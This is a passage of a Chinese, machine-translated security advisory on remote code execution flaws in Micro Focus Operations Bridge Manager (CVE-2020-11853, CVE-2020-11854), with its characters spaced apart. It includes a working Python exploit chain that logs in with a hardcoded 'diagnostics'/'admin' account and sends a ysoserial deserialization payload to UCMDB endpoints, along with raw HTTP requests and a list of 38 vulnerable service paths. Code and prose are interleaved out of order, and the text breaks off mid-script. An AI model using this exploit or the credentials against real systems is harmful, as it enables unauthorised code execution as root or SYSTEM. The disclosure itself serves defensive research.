搜索

[20456] 2021-01-08_MicroFocusOperationsBridgeManager中的多个（RCE）漏洞

文档创建者：s7ckTeam
浏览次数：22
最后更新：2025-01-18
2021-01-08_MicroFocusOperationsBridgeManager中的多个（RCE）漏洞 M i c r o   F o c u s   O p e r a t i o n s   B r i d g e   M a n a g e r 中 的 多 个 （ R C E ） 漏 洞 P e d r o   R i b e i r o   K h a n 安 全 攻 防 实 验 室   2 0 2 1 - 0 1 - 0 8 从 供 应 商 的 网 站 上 。 O B M 作 为 操 作 桥 为 您 的 I T 操 作 提 供 了 一 个 单 一 的 控 制 中 心 。 所 有 来 自 服 务 器 、 网 络 、 应 用 程 序 、 存 储 和 基 础 设 施 中 其 他 I T 孤 岛 的 事 件 和 性 能 管 理 数 据 都 会 被 整 合 到 一 个 先 进 的 中 央 事 件 控 制 台 的 单 一 事 件 流 中 。 控 制 台 将 监 控 警 报 显 示 给 相 应 的 操 作 员 团 队 。 您 可 以 快 速 识 别 、 监 控 、 故 障 排 除 、 报 告 和 解 决 分 布 式   I T   环 境 中 的 问 题 。 这 些 能 力 使 您 有 可 能 改 善 您 所 监 控 环 境 中 的 基 础 设 施 和 服 务 的 性 能 和 可 用 性 ， 提 高 您 的 业 务 效 率 和 生 产 力 。 O B M 可 以 帮 助 您 在 业 务 服 务 质 量 下 降 之 前 定 位 并 解 决 与 事 件 相 关 的 问 题 。 它 提 供 的 工 具 可 帮 助 操 作 员 解 决 问 题 ， 而 无 需 主 题 专 家 参 与 。 这 就 使 主 题 专 家 能 够 专 注 于 战 略 活 动 。 特 别 感 谢   " 零 日 计 划   " 处 理 了 这 些 漏 洞 对 微 焦 点 的 披 露 。 M e t a s p l o i t 模 块 正 在 筹 备 中 ， 并 将 很 快 发 送 到 M e t a s p l o i t 框 架 进 行 整 合 。 届 时 将 更 新 本 咨 询 。 总 结 M i c r o   F o c u s   O p e r a t i o n s   B r i d g e   M a n a g e r ( O B M ) 是 一 个 复 杂 的 产 品 ， 用 于 监 控 和 识 别 I T 基 础 设 施 问 题 。 它 与 其 他 企 业 软 件 如 M i c r o   F o c u s   O p e r a t i o n s   B r i d g e   R e p o r t e r 、 M i c r o   F o c u s   N e t w o r k   N o d e   M a n a g e r   i 等 集 成 。 下 图 显 示 了 该 产 品 如 何 集 成 到 复 杂 的 I T 环 境 中 ： 该 产 品 本 身 由 以 下 部 分 组 成 。 O B M 主 应 用 程 序 ， 其 中 包 括 一 个 J a v a 管 理 控 制 台 ， 运 行 在 4 4 3 端 口 上 。 U C M D B ， 后 台 管 理 系 统 ， 运 行 在 8 4 4 3 端 口 。 P o s t g r e s 数 据 库 ( 默 认 情 况 下 ， 可 以 使 用 其 他 数 据 库 ) 管 理 包 （ 默 认 情 况 下 只 安 装 一 个 ， 有 几 个 可 用 的 管 理 包 其 他 可 选 部 件 ， 取 决 于 安 装 类 型 组 件 可 以 全 部 安 装 在 一 台 主 机 上 ， 也 可 以 单 独 安 装 ， 可 以 安 装 在 W i n d o w s 和 L i n u x 操 作 系 统 中 。 U C M D B 组 件 的 U I 可 以 在 8 4 4 3 端 口 使 用 ， 它 似 乎 是 一 个 独 立 的 产 品 ， 集 成 在 M i c r o   F o c u s 的 几 个 产 品 中 ， 当 然 包 括 O B M 。 M i c r o   F o c u s 在 其 一 款 产 品 的 文 档 中 描 述 了 它 的 用 途 。 M i c r o   F o c u s   U n i v e r s a l   C M D B 是 一 个 配 置 管 理 数 据 库 ， 为 企 业 I T 组 织 捕 捉 、 记 录 和 存 储 有 关 配 置 项 （ C I ） 、 服 务 依 赖 和 支 持 业 务 服 务 的 关 系 的 信 息 。 切 开 企 业 的 说 法 ， 我 们 可 以 理 解 为 它 是 管 理 O B M 和 其 他 M i c r o   F o c u s 产 品 配 置 信 息 的 某 种 庞 杂 的 数 据 库 。 O B M 需 要 开 放 大 量 的 网 络 端 口 才 能 与 其 他 主 机 进 行 通 信 ， 从 它 们 的 安 装 文 档 中 可 以 看 到 ， 比 如 4 4 3 （ 主 网 络 应 用 ） 和 8 4 4 3 （ U C M D B ） 。 这 就 给 O B M 提 供 了 一 个 巨 大 的 面 向 外 部 的 攻 击 面 。 在 分 析 了 O B M 之 后 ， 我 发 现 了 一 个 堆 积 如 山 的 关 键 安 全 漏 洞 ， 当 这 些 漏 洞 组 合 在 一 起 的 时 候 ， 就 会 导 致 应 用 程 序 的 完 全 破 坏 。 使 用 硬 编 码 凭 证 不 安 全 的 J a v a 反 序 列 化 ( 不 可 思 议 的 共 4 1 个 ) 使 用 过 时 和 不 安 全 的 J a v a 库 默 认 文 件 夹 权 限 不 正 确 （ 导 致 权 限 升 级 到 系 统 ） 。 所 有 这 些 漏 洞 都 会 影 响 最 新 测 试 的 版 本 （ 2 0 2 0 . 0 5 ） 和 许 多 其 他 版 本 和 产 品 ， 下 面 单 独 列 出 。 W i n d o w s 和 L i n u x 安 装 都 会 受 到 影 响 ， 除 了 权 限 升 级 漏 洞 ， 它 只 影 响 W i n d o w s 。 解 释 J a v a 反 序 列 化 ， 它 如 何 被 利 用 以 及 它 的 破 坏 性 有 多 大 ， 这 超 出 了 本 咨 询 的 范 围 。 关 于 它 的 更 多 信 息 ， 强 烈 推 荐 以 下 链 接 。
J a v a   U n m a r s h a l l e r 安 全 F o x g l o v e 安 全 博 客 文 章 漏 洞 详 情 第 第 1 条 ： 使 用 硬 编 码 证 书 条 ： 使 用 硬 编 码 证 书 C W E - 7 9 8 :   硬 编 码 全 权 证 书 的 使 用 C V E - 2 0 2 0 - 1 1 8 5 4   /   Z D I - 2 0 - 1 2 8 7 风 险 分 类 。 危 急 攻 击 向 量 。 远 程 限 制 条 件 ： 无 / 不 适 用 受 影 响 的 产 品 / 版 本 。 操 作 桥 管 理 器 版 本 。 2 0 2 0 . 0 5 、 2 0 1 9 . 1 1 、 2 0 1 9 . 0 5 、 2 0 1 8 . 1 1 、 2 0 1 8 . 0 5 、 1 0 . 6 x 和 1 0 . 1 x 版 本 及 旧 版 本 。 应 用 性 能 管 理 版 本 。 9 . 5 1 、 9 . 5 0 和 9 . 4 0 ， 配 备 u C M D B   1 0 . 3 3   C U P   3 。 运 营 桥 （ 容 器 化 ） 版 本 。 2 0 1 9 . 1 1 ,   2 0 1 9 . 0 8 ,   2 0 1 9 . 0 5 ,   2 0 1 8 . 1 1 ,   2 0 1 8 . 0 8 ,   2 0 1 8 . 0 5 ,   2 0 1 8 . 0 2 ,   2 0 1 7 . 1 1 O B M 的 认 证 由 U C M D B 组 件 处 理 。 安 装 后 ， 会 创 建 以 下 用 户 。 a d m i n s y s a d m i n U I S y s a d m i n b s m _ o d b _ c u s t o m e r 1 d i a g n o s t i c s 这 些 用 户 只 有 在 访 问   U C M D B   组 件 时 才 可 见 。 从 主 W e b 应 用 程 序 中 ， 只 有 管 理 员 和 在 主 W e b 应 用 程 序 中 创 建 的 用 户 是 可 见 的 。 前 面 三 个 ， a d m i n 、 s y s a d m i n 和 U I S y s a d m i n 的 密 码 都 是 一 样 的 ， 这 是 在 安 装 产 品 时 由 管 理 员 设 置 的 。 只 有 a d m i n 可 以 登 录 主 W e b 应 用 ， 其 他 的 只 能 登 录 U C M D B 。 我 决 定 调 查 剩 下 的 两 个 账 户 ， 即 b s m _ o d b _ c u s t o m e r 1 和 诊 断 ， 因 为 文 档 中 根 本 没 有 提 到 这 两 个 账 户 。 虽 然 没 有 确 定 这 些 账 户 是 如 何 设 置 的 ， 但 通 过 大 量 的 测 试 ， 确 定 它 们 都 必 须 有 硬 编 码 的 密 码 。 虽 然 b s m _ o d b _ c u s t o m e r 1 的 密 码 从 未 被 发 现 ， 但 诊 断 程 序 的 密 码 是 简 单 的   " a d m i n " 。 这 使 得 任 何 人 都 可 以 以 诊 断 程 序 的 身 份 登 录 U C M D B 组 件 。 需 要 注 意 的 是 ， 这 个 用 户 是 无 权 限 的 ， 但 正 如 我 们 在 下 面 看 到 的 ， 这 并 不 重 要 。 为 了 获 得 经 过 认 证 的 L W S S O _ C O O K I E _ K E Y ， 我 们 需 要 向 u c m d b - u i / c m s / l o g i n R e q u e s t . d o 发 送 一 个 请 求 ， 在 查 询 字 符 串 中 包 含 用 户 名 和 密 码 （ 后 者 为 6 4 基 编 码 ） ： 样 本 A ： H T T P   P O S T   U C M D B 登 录 请 求 U C M D B 服 务 器 将 对 其 作 出 以 下 回 应 ： 样 本 B ： H T T P   P O S T   U C M D B 登 录 响 应 . . . . . . 其 中 包 含 诊 断 用 户 的 完 全 认 证 的 L W S S O _ C O O K I E _ K E Y 。 L i n u x 和 W i n d o w s 版 本 的 O B M 都 受 到 这 个 漏 洞 的 影 响 。 2 :   U C M D B   服 务 中 不 安 全 的 服 务 中 不 安 全 的   J a v a   反 序 列 化 功 能 反 序 列 化 功 能 C W E - 5 0 2 。 不 受 信 任 数 据 的 解 串 联 C V E - 2 0 2 0 - 1 1 8 5 3   /   Z D I - 2 0 - 1 2 8 8   至   Z D I - 2 0 - 1 3 2 5 风 险 分 类 。 危 急 攻 击 向 量 。 远 程 限 制 条 件 ： 需 要 认 证 受 影 响 的 产 品 / 版 本 。 操 作 桥 管 理 器 版 本 。 2 0 2 0 . 0 5 、 2 0 1 9 . 1 1 、 2 0 1 9 . 0 5 、 2 0 1 8 . 1 1 、 2 0 1 8 . 0 5 、 1 0 . 6 x 和 1 0 . 1 x 版 本 及 旧 版 本 。 应 用 性 能 管 理 版 本 。 9 . 5 1 、 9 . 5 0 和 9 . 4 0 ， 带 u C M D B   1 0 . 3 3   C U P   3 。 数 据 中 心 自 动 化 2 0 1 9 . 1 1 版 本 运 营 桥 （ 容 器 化 ） 版 本 。 2 0 1 9 . 1 1 ,   2 0 1 9 . 0 8 ,   2 0 1 9 . 0 5 ,   2 0 1 8 . 1 1 ,   2 0 1 8 . 0 8 ,   2 0 1 8 . 0 5 ,   2 0 1 8 . 0 2 ,   2 0 1 7 . 1 1 通 用 C M D B 版 本 。 2 0 2 0 . 0 5 ,   2 0 1 9 . 1 1 ,   2 0 1 9 . 0 5 ,   2 0 1 9 . 0 2 ,   2 0 1 8 . 1 1 ,   2 0 1 8 . 0 8 ,   2 0 1 8 . 0 5 ,   1 1 ,   1 0 . 3 3 ,   1 0 . 3 2 ,   1 0 . 3 1 ,   1 0 . 3 0 混 合 云 管 理 2 0 2 0 . 0 5 版 本 服 务 管 理 自 动 化 2 0 2 0 . 5 和 2 0 2 0 . 0 2 版 本 。 U C M D B 组 件 可 以 通 过 以 下 方 式 访 问 。 P O S T   / u c m d b - u i / c m s / l o g i n R e q u e s t . d o ; ? c u s t o m e r I D = 1 & i s E n c o d e d = f a l s e & u s e r N a m e = d i a g n o s t i c s & p a s s w o r d = Y W R t a W 4 = & l d a p S e r v e r N a m e = U C M D B   H T T P / 1 . 1 H T T P / 1 . 1   2 0 0   O K D a t e :   S u n ,   1 7   M a y   2 0 2 0   2 1 : 1 3 : 2 1   G M T X - F r a m e - O p t i o n s :   S A M E O R I G I N C o n t e n t - S e c u r i t y - P o l i c y :   f r a m e - a n c e s t o r s   ' s e l f ' X - C o n t e n t - T y p e - O p t i o n s :   n o s n i f f X - X s s - P r o t e c t i o n :   1 ;   m o d e = b l o c k S t r i c t - T r a n s p o r t - S e c u r i t y :   m a x - a g e = 3 1 5 3 6 0 0 0 S e t - C o o k i e :   L W S S O _ C O O K I E _ K E Y = W T Q w N d g F l D S M 1 I l 1 X T l W J G E r j H I G D g 5 4 m z v 4 Y u 5 1 _ H M k 3 m r L F 7 Z M B 6 K e R e c N 3 0 s W k d k E F J y L p q U G Q 0 h X Q n P i a p b w 1 8 9 1 i u G E O W 4 E w f k 8 X N U n I J s o u O b X N - G a Z H L h k f H N l U K p 7 3 q E q q v Y 5 9 4 n 2 P 5 O 2 s q s n 9 K Y r K 7 P u G Q 5 F E 0 d d K k I 2 p I v n 0 r k b T 2 e R F V d S p H h k - 6 S a d v f L m - C b z d r g L V 2 I N W Q g Y l Y t q M L e v I 5 i v 8 b y N 4 . ;   P a t h = / ;   H T T P O n l y = ;   S e c u r e = E x p i r e s :   T h u ,   0 1   J a n   1 9 7 0   0 0 : 0 0 : 0 0   G M T A u t h e n t i c a t i o n - R e s u l t - K e y :   A U T H E N T I C A T E D _ S U C C E S S F U L L Y L O C A L E :   e n C o n t e n t - L a n g u a g e :   e n C o n t e n t - T y p e :   t e x t / h t m l ; c h a r s e t = u t f - 8 C o n t e n t - L e n g t h :   2 6 9 8 3 < . . .   P O S T   D A T A   . . . >
J a v a 小 程 序 网 页 界 面 J a v a 客 户 端 R E S T   A P I 在 调 查 J a v a 稠 密 客 户 端 时 发 现 ， 经 过 认 证 后 ， 其 几 乎 所 有 的 通 信 都 是 使 用 J a v a 序 列 化 对 象 完 成 的 。 这 意 味 着 ， 经 过 认 证 的 攻 击 者 只 需 将 一 个 恶 意 的 J a v a 对 象 序 列 化 到 P O S T 体 中 ， 注 入 到 其 中 一 个 易 受 攻 击 的 端 点 ， 就 可 以 立 即 实 现 以 r o o t 或 S Y S T E M 的 身 份 进 行 远 程 代 码 执 行 。 漏 洞 端 点 共 有 3 8 个 : 下 面 可 以 看 到 一 个 对 具 有 讽 刺 意 味 的 S e c u r i t y S e r v i c e 的 请 求 示 例 : 这 个 P O S T 请 求 ， 如 果 用 经 过 验 证 的 L W S S O _ C O O K I E _ K E Y 来 完 成 ， 如 果 < J A V A _ S E R I A L I Z E D _ O B J E C T > 是 y s o s e r i a l 的 有 效 载 荷 ， 那 么 将 导 致 以 r o o t   /   S Y S T E M 的 身 份 立 即 执 行 代 码 。 为 了 理 解 这 一 点 是 如 何 工 作 的 ， 我 们 需 要 更 深 入 地 了 解 一 下 。 上 面 使 用 的 所 有 端 点 都 是 S p r i n g   F r a m e w o r k 远 程 服 务 的 实 现 。 这 些 服 务 调 用 由 c o m . h p . u c m d b . u i s e r v e r . s e r v i c e s . c o n t e x t . C m d b H t t p I n v o k e r S e r v i c e E x p o r t e r 处 理 ， 它 是 一 个 实 现 o r g . s p r i n g f r a m e w o r k . r e m o t i n g . h t t p i n v o k e r . H t t p I n v o k e r S e r v i c e E x p o r t e r 的 类 。 J a v a d o c 中 对 它 有 很 好 的 描 述 : 基 于 S e r v l e t - A P I 的 H T T P 请 求 处 理 程 序 ， 将 指 定 的 服 务 B e a n 导 出 为 H T T P   i n v o k e r 服 务 端 点 ， 通 过 H T T P   i n v o k e r 代 理 访 问 。 解 串 化 远 程 调 用 对 象 ， 并 序 列 化 远 程 调 用 结 果 对 象 。 像 R M I 一 样 使 用 J a v a 序 列 化 ， 但 提 供 了 与 C a u c h o 基 于 H T T P 的 H e s s i a n 协 议 相 同 的 设 置 简 易 性 。 H T T P   i n v o k e r 是 J a v a 对 J a v a 远 程 的 推 荐 协 议 。 它 比 H e s s i a n 更 强 大 ， 可 扩 展 性 更 强 ， 但 代 价 是 与 J a v a 绑 定 。 尽 管 如 此 ， 它 和 H e s s i a n 一 样 容 易 设 置 ， 这 是 它 与 R M I 相 比 的 主 要 优 势 。 警 告 ： 请 注 意 由 于 不 安 全 的 J a v a 反 序 列 化 所 导 致 的 漏 洞 。 在 反 序 列 化 步 骤 中 ， 被 操 纵 的 输 入 流 可 能 导 致 服 务 器 上 不 必 要 的 代 码 执 行 。 因 此 ， 不 要 将 H T T P   i n v o k e r 端 点 暴 露 给 不 受 信 任 的 客 户 端 ， 而 只 是 在 自 己 的 服 务 之 间 暴 露 。 一 般 来 说 ， 我 们 强 烈 建 议 使 用 任 何 其 他 的 消 息 格 式 （ 例 如 J S O N ） 来 代 替 。 在 实 践 中 ， 它 以 如 下 方 式 工 作 ： 上 面 列 出 的 服 务 （ 例 如 S e c u r i t y S e r v i c e ） 以 允 许 远 程 方 法 调 用 的 方 式 实 现 。 下 面 的 片 段 包 含 了 S e c u r i t y S e r v i c e 实 现 的 代 码 （ c o m . h p . u c m d b . u i s e r v e r . s e r v i c e s . c m d b . i m p l . S e c u r i t y S e r v i c e I m p l ） ： / u c m d b / s e r v i c e s / C m d b O p e r a t i o n E x e c u t e r S e r v i c e / u c m d b / s e r v i c e s / C a t e g o r y F a c a d e F o r G u i / u c m d b / s e r v i c e s / C o r r e l a t i o n F a c a d e F o r G u i / u c m d b / s e r v i c e s / C o r r e l a t i o n R u n n e r F a c a d e / u c m d b / s e r v i c e s / P a c k a g e F a c a d e F o r G u i / u c m d b / s e r v i c e s / S c h e d u l e r F a c a d e F o r G u i / u c m d b / s e r v i c e s / F o l d e r s F a c a d e / u c m d b / s e r v i c e s / B u s i n e s s M o d e l F a c a d e F o r G u i / u c m d b / s e r v i c e s / W a t c h S e r v e r A P I / u c m d b / s e r v i c e s / T o p o l o g y S e r v i c e / u c m d b / s e r v i c e s / R e p o r t S e r v i c e / u c m d b / s e r v i c e s / C M S I m a g e s S e r v i c e / u c m d b / s e r v i c e s / P a t t e r n S e r v i c e / u c m d b / s e r v i c e s / F o l d e r S e r v i c e / u c m d b / s e r v i c e s / R e l a t e d C I s S e r v i c e / u c m d b / s e r v i c e s / M a i l S e r v i c e / u c m d b / s e r v i c e s / D i s c o v e r y S e r v i c e / u c m d b / s e r v i c e s / S e r v i c e D i s c o v e r y S e r v i c e / u c m d b / s e r v i c e s / S o f t w a r e L i b r a r y S e r v i c e / u c m d b / s e r v i c e s / D a t a A c q u i s i t i o n S e r v i c e / u c m d b / s e r v i c e s / C I S e r v i c e / u c m d b / s e r v i c e s / H i s t o r y S e r v i c e / u c m d b / s e r v i c e s / B u n d l e S e r v i c e / u c m d b / s e r v i c e s / L o c a t i o n S e r v i c e / u c m d b / s e r v i c e s / S c h e d u l e r S e r v i c e / u c m d b / s e r v i c e s / I m p a c t S e r v i c e / u c m d b / s e r v i c e s / C o m m o n S e r v i c e / u c m d b / s e r v i c e s / P e r m i s s i o n s S e r v i c e / u c m d b / s e r v i c e s / C l a s s M o d e l S e r v i c e / u c m d b / s e r v i c e s / S n a p s h o t S e r v i c e / u c m d b / s e r v i c e s / L D A P S e r v i c e / u c m d b / s e r v i c e s / C I T S e r v i c e / u c m d b / s e r v i c e s / M u l t i T e n a n c y S e r v i c e / u c m d b / s e r v i c e s / S e c u r i t y S e r v i c e / u c m d b / s e r v i c e s / R e s o u r c e M a n a g e m e n t S e r v i c e / u c m d b / s e r v i c e s / A u t o m a t i o n M a p p i n g S e r v i c e / u c m d b / s e r v i c e s / L i c e n s i n g S e r v i c e / u c m d b / s e r v i c e s / G e n e r i c A d a p t e r S e r v i c e P O S T   / u c m d b - u i / s e r v i c e s / S e c u r i t y S e r v i c e   H T T P / 1 . 1 H o s t :   1 0 . 1 0 . 1 0 . 9 9 : 8 4 4 3 U s e r - A g e n t :   p y t h o n - r e q u e s t s / 2 . 2 3 . 0 A c c e p t - E n c o d i n g :   g z i p ,   d e f l a t e A c c e p t :   * / * C o n n e c t i o n :   c l o s e c o n t e n t - t y p e :   a p p l i c a t i o n / x - j a v a - s e r i a l i z e d - o b j e c t C o o k i e :   L W S S O _ C O O K I E _ K E Y = 1 f e z N b 7 T 1 Q R g g k h F B r Y h M C u i S c h r q K d y A a b S S O M r Z M e P 2 8 - F i I y z L N l V V 9 K B a g K s L j i U b G d J 0 m W e n 7 O v A T g C 3 L i W m l G R Q w 5 v n T z m 9 t V 8 f 3 t I f O q X v b Z I W u d k 4 v a j f 4 Q q u x - X 2 S 1 M J J B 6 b 2 i k N A 9 M 9 2 1 i l R D p t E Y 0 I q e i Q 6 8 m x I A F s 5 P x S 9 I 2 2 r 5 Y s z Z M S M Y m e 0 5 G g t d b Q Q A - J q O v D r R N Y O F c a 5 I Z g t b p G k H z C P U U y L k . C o n t e n t - L e n g t h :   6 8 5 5 < J A V A _ S E R I A L I Z E D _ O B J E C T >   p u b l i c   b o o l e a n   i s S e r v e r A d m i n i s t r a t o r ( )   {         t r y   {
C 片 段 ： c o m . h p . u c m d b . u i s e r v e r . s e r v i c e s . c m d b . i m p l . S e c u r i t y S e r v i c e I m p l . i s S e r v e r A d m i n i s t r a t o r ( ) 从 上 面 可 以 看 出 ， 这 个 方 法 返 回 的 是 登 录 用 户 是 否 是 管 理 员 。 为 了 使 这 个 方 法 能 够 被 远 程 调 用 ， 我 们 必 须 使 用 通 过 H T T P   P O S T 请 求 发 送 序 列 化 的 方 法 调 用 请 求 。 这 些 对 象 默 认 是 J a v a 序 列 化 对 象 ， 会 被 前 面 提 到 的 H t t p I n v o k e r S e r v i c e E x p o r t e r   S p r i n g   R e m o t i n g 类 接 收 ， 然 后 传 递 给 实 现 的 服 务 。 虽 然 上 面 所 有 的 端 点 都 实 现 了 不 同 的 功 能 和 服 务 ， 但 它 们 都 可 以 用 同 样 的 方 式 进 行 攻 击 。 上 面 列 出 的 每 个 服 务 类 可 能 有 几 个 或 几 十 个 方 法 ， 很 可 能 还 有 更 多 的 （ 非 解 串 化 ） 漏 洞 潜 伏 在 那 里 。 如 果 将 这 些 漏 洞 与 漏 洞 # 1 连 锁 起 来 ， 未 经 认 证 的 攻 击 者 就 可 以 轻 松 地 在 O B M 主 机 中 执 行 代 码 。 为 了 达 到 这 个 目 的 ， 需 要 采 取 以 下 步 骤 。 用 诊 断 用 户 认 证 U C M D B ， 如 片 段 A 和 片 段 B 所 示 。 使 用 所 需 的 命 令 创 建 一 个 y s o s e r i a l   C o m m o n s B e a n u t i l s 1 有 效 载 荷 。 将 P O S T 体 中 的 p a y l o a d 连 同 步 骤 1 中 获 得 的 L W S S O _ C O O K I E _ K E Y 一 起 发 送 到 / u c m d b - u i / s e r v i c e s / S e c u r i t y S e r v i c e （ 或 上 面 列 出 的 任 何 其 他 服 务 端 点 ） 。 下 面 的 P y t h o n 代 码 执 行 了 这 个 链 中 的 所 有 步 骤 ：         t r y   {             U c m d b S e r v i c e I n t e r n a l   s d k   =   ( U c m d b S e r v i c e I n t e r n a l ) S e r v e r C o n t e x t . g e t ( ) . e x e c u t e I n S e s s i o n l e s s C o n t e x t ( t h i s . s e s s i o n C o n t e x t . g e t S e s s i o n I n f o ( ) . g e t C u s t o m e r C o n t e x t ( ) ,   n e w   S e s s i o n l e s s C o n t e x t E x e c u t a b l e < U c m d b S e r v i c e I n t e r n a l > ( )   {                         p u b l i c   U c m d b S e r v i c e I n t e r n a l   r u n ( S e s s i o n C o n t e x t   s e s s i o n C o n t e x t )   {                             r e t u r n   s e s s i o n C o n t e x t . g e t C m d b C o n n e c t o r ( ) . g e t S d k ( ) ;                         }                     } ) ;             U s e r I d   u s e r I d   =   t h i s . s e s s i o n C o n t e x t . g e t S e s s i o n I n f o ( ) . g e t L o g g e d I n U s e r I d ( ) ;             r e t u r n   s d k . g e t A u t h o r i z a t i o n M o d e l S e r v i c e I n t e r n a l ( ) . i s S e r v e r A d m i n i s t r a t o r ( u s e r I d ) ;         }   c a t c h   ( C m d b E x c e p t i o n   e )   {             L O G . e r r o r ( " U s e r   c o u l d   n o t   b e   f o u n d   i n   U R M " ,   ( T h r o w a b l e ) e ) ;             r e t u r n   f a l s e ;         }   c a t c h   ( E x c e p t i o n   e )   {             L O G . e r r o r ( " E r r o r   t o   g e t   S e r v e r A d m i n i s t r a t o r   f r o m   U R M " ,   e ) ;             r e t u r n   f a l s e ;         }       } # ! / u s r / b i n / p y t h o n 3 # # #   E x p l o i t   f o r   M i c r o   F o c u s   O p e r a t i o n s   B r i d g e   M a n a g e r   2 0 2 0 . 0 5   U C M D B   S e r v i c e s   I n s e c u r e   J a v a   D e s e r i a l i z a t i o n   ( C V E - 2 0 2 0 - 1 1 8 5 3 ) # #   B y   P e d r o   R i b e i r o   ( p e d r i b @ a g i l e i n f o s e c . c o . u k   |   @ p e d r i b 1 3 3 7 )   f r o m   A g i l e   I n f o r m a t i o n   S e c u r i t y # i m p o r t   s y s i m p o r t   o s i m p o r t   r e q u e s t s d e f   u s a g e ( ) :         p r i n t ( " U s a g e :   . / o b m P w n . p y   < R H O S T >   < Y S O S E R I A L _ J A R >   < C O M M A N D > " )         e x i t ( 1 ) i f   l e n ( s y s . a r g v )   <   4 :         u s a g e ( ) r h o s t   =   s y s . a r g v [ 1 ] y s o s e r i a l   =   s y s . a r g v [ 2 ] c o m m a n d   =   s y s . a r g v [ 3 ] i f   n o t   o s . p a t h . e x i s t s ( y s o s e r i a l ) :         u s a g e ( ) r e q u e s t s . p a c k a g e s . u r l l i b 3 . d i s a b l e _ w a r n i n g s ( ) p r i n t ( " [ * ]   G e n e r a t i n g   y s o s e r i a l   p a y l o a d   w i t h   c o m m a n d   % s "   %   ( c o m m a n d ) ) o s . s y s t e m ( " j a v a   - j a r   % s   C o m m o n s B e a n u t i l s 1   ' % s '   >   / t m p / p a y l o a d . s e r "   %   ( y s o s e r i a l ,   c o m m a n d ) ) u r l _ b a s e   =   " h t t p s : / / % s : 8 4 4 3 / u c m d b - u i "   %   ( r h o s t ) u r l _ l o g i n   =   u r l _ b a s e   +   " / c m s / l o g i n R e q u e s t . d o ; ? c u s t o m e r I D = 1 & i s E n c o d e d = f a l s e & u s e r N a m e = d i a g n o s t i c s & p a s s w o r d = Y W R t a W 4 = & l d a p S e r v e r N a m e = U C M D B " p r i n t ( " [ * ]   A u t h e n t i c a t i n g   t o   % s "   %   ( u r l _ l o g i n ) ) s e s   =   r e q u e s t s . S e s s i o n ( ) r e s   =   s e s . p o s t ( u r l _ l o g i n ,   v e r i f y = F a l s e ) a u t h   =   N o n e f o r   c o o k i e   i n   r e s . c o o k i e s . i t e m s ( ) :         i f   c o o k i e [ 0 ]   = =   " L W S S O _ C O O K I E _ K E Y " :                 a u t h   =   c o o k i e i f   a u t h   = =   N o n e :         p r i n t ( " [ - ]   F a i l e d   t o   a u t h e n t i c a t e   a n d   o b t a i n   L W S S O _ C O O K I E _ K E Y " )         e x i t ( 1 ) e l s e :         p r i n t ( " [ + ]   W e   a r e   n o w   a u t h e n t i c a t e d   a n d   o b t a i n e d   o u r   L W S S O _ C O O K I E _ K E Y ! " ) #   S e c u r i t y S e r v i c e   i s   u s e d   h e r e ,   b u t   a n y   o f   t h e   o t h e r   3 7   e n d p o i n t s   c a n   b e   u s e d u r l _ p w n   =   u r l _ b a s e   +   " / s e r v i c e s / S e c u r i t y S e r v i c e " p r i n t ( " [ * ]   S e n d i n g   y s o s e r i a l   p a y l o a d   t o   % s "   %   ( u r l _ p w n ) )
用 以 下 方 式 运 行 利 用 代 码 。 p y t h o n 3   u c m d b P w n . p y   1 0 . 1 0 . 1 0 . 9 9   y s o s e r i a l - m a s t e r - S N A P S H O T . j a r   c a l c . e x e . . . . . . 将 导 致 c a l c . e x e 在 运 行 O B M 的 W i n d o w s 主 机 中 以 S Y S T E M 的 形 式 执 行 ， 1 0 . 1 0 . 1 0 . 9 9 ： L i n u x 和 W i n d o w s 版 本 的 O B M 都 受 到 这 个 漏 洞 的 影 响 。 下 面 的 a s c i i n e m a   c a s t 显 示 了 L i n u x 版 本 的 O B M 上 的 漏 洞 利 用 情 况 ： 演 示 视 频 ： h t t p s : / / a s c i i n e m a . o r g / a / 3 7 6 4 4 2 3 ： ： R e g i s t r a t i o n S e r v l e t 中 不 安 全 的 中 不 安 全 的 J a v a 反 序 列 化 反 序 列 化 C W E - 5 0 2 。 不 受 信 任 数 据 的 解 串 联 C V E - 2 0 2 0 - 1 1 8 5 3   /   Z D I - 2 0 - 1 3 2 7 风 险 分 类 。 危 急 攻 击 向 量 。 远 程 限 制 条 件 ： 需 要 认 证 受 影 响 的 产 品 / 版 本 。 操 作 桥 管 理 器 版 本 。 2 0 2 0 . 0 5 、 2 0 1 9 . 1 1 、 2 0 1 9 . 0 5 、 2 0 1 8 . 1 1 、 2 0 1 8 . 0 5 、 1 0 . 6 x 和 1 0 . 1 x 版 本 及 旧 版 本 。 应 用 性 能 管 理 版 本 。 9 . 5 1 、 9 . 5 0 和 9 . 4 0 ， 带 u C M D B   1 0 . 3 3   C U P   3 。 数 据 中 心 自 动 化 2 0 1 9 . 1 1 版 本 运 营 桥 （ 容 器 化 ） 版 本 。 2 0 1 9 . 1 1 ,   2 0 1 9 . 0 8 ,   2 0 1 9 . 0 5 ,   2 0 1 8 . 1 1 ,   2 0 1 8 . 0 8 ,   2 0 1 8 . 0 5 ,   2 0 1 8 . 0 2 ,   2 0 1 7 . 1 1 通 用 C M D B 版 本 。 2 0 2 0 . 0 5 ,   2 0 1 9 . 1 1 ,   2 0 1 9 . 0 5 ,   2 0 1 9 . 0 2 ,   2 0 1 8 . 1 1 ,   2 0 1 8 . 0 8 ,   2 0 1 8 . 0 5 ,   1 1 ,   1 0 . 3 3 ,   1 0 . 3 2 ,   1 0 . 3 1 ,   1 0 . 3 0 混 合 云 管 理 2 0 2 0 . 0 5 版 本 2 0 2 0 . 5 和 2 0 2 0 . 0 2 版 本 的 服 务 管 理 自 动 化 。 O B M 在 端 点 / l e g a c y / t o p a z / s i t e s c o p e / c o n f / r e g i s t r a t i o n 处 暴 露 了 类 c o m . h p . o p r . l e g a c y . s i t e s c o p e . s e r v l e t . R e g i s t r a t i o n S e r v l e t 。 下 面 的 片 段 显 示 了 d o P o s t ( ) 方 法 的 反 编 译 代 码 ： h e a d e r s   =   { ' c o n t e n t - t y p e ' :   ' a p p l i c a t i o n / x - j a v a - s e r i a l i z e d - o b j e c t ' } w i t h   o p e n ( ' / t m p / p a y l o a d . s e r ' ,   ' r b ' )   a s   p a y l o a d :         r e s   =   s e s . p o s t ( u r l _ p w n ,   h e a d e r s = h e a d e r s ,   d a t a = p a y l o a d ,   v e r i f y = F a l s e )         i f   r e s . s t a t u s _ c o d e   = =   5 0 0 :                 p r i n t ( " [ + ]   S u c c e s s ,   y o u r   c o m m a n d   h a s   b e e n   e x e c u t e d ! " )         e l s e :                 p r i n t ( " [ - ]   S o m e t h i n g   w e n t   w r o 